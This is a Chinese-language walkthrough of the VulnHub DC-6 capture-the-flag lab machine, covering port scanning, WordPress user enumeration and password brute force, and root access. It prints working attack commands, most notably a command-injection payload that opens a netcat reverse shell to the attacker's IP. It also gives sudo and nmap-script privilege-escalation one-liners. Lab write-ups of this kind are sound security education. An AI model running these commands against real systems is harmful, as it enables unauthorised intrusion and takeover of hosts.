0x00 环境搭建
靶机地址:http://www.vulnhub.com/entry/dc-6,315/
下载之后用vmware打开即可,使用桥接模式。
开机后搭建完成:
本关只有一个flag,且需要修改hosts文件访问:192.168.1.147 wordy
0x01 主机端口探测
用arp-scan -l
探测内网存活主机,再用nmap -sV -p- ip
来探测端口:
发现开启了80端口(HTTP服务)和22端口(SSH服务)
0x02 web渗透
访问80端口,发现又是WordPress:
扫了一下只发现了一些目录遍历漏洞,没什么利用价值。
直接用WPScan
枚举用户:wpscan --url http://wordy/ --enumerate u
暴破密码:wpscan --url http://wordy -e u --passwords /usr/share/wordlists/rockyou.txt
登录后台发现插件Activity monitor
:
查找相关漏洞:
查看利用方式:
访问漏洞页面,输入ip点击抓包:
写入payload:baidu.com| nc -e /bin/bash 192.168.1.143 4444
攻击机监听,得到反弹shell:
获取交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
在 jens 家目录下发现一个可执行脚本,但没有权限:
在 mark 的家目录下发现提示 garham用户密码:
0x03 SSH远程连接
ssh 登录 graham用户:
使用sudo -l
,发现可以以 jens 用户免密执行backup.sh
脚本:
可以让 jens 执行/bin/bash
就直接得到了 jens 的 shell:
echo "/bin/bash" > backups.sh
sudo -u jens ./backups.sh
0x04 nmap提权
nmap
有执行脚本的功能,通过编写特殊脚本,可以实现利用nmap
提权(sudo提权)
sudo -l
查看当前用户可以以 root 身份免密执行 nmap
命令:
写入一个执行bash
的nmap
脚本,运行
echo "os.execute('/bin/bash')" > /tmp/root.nse
sudo nmap --script=/tmp/root.nse
找到最终flag(这里输入的命令看不到):
总结
整体流程如下:
主机发现 => 端口扫描 => 访问web服务 => 暴破登录 => 利用已知漏洞RCE => nc反弹shell => 切换用户 => nmap提权 => 找到最终flag
学习了 sudo 提权,当前用户能以其他用户身份免密执行脚本时,将/bin/bash
写入脚本中,令其执行,就可以获得过该用户的权限。
参考链接:
https://www.cnblogs.com/bingtang123/p/12838419.html(VulnHub::DC-6)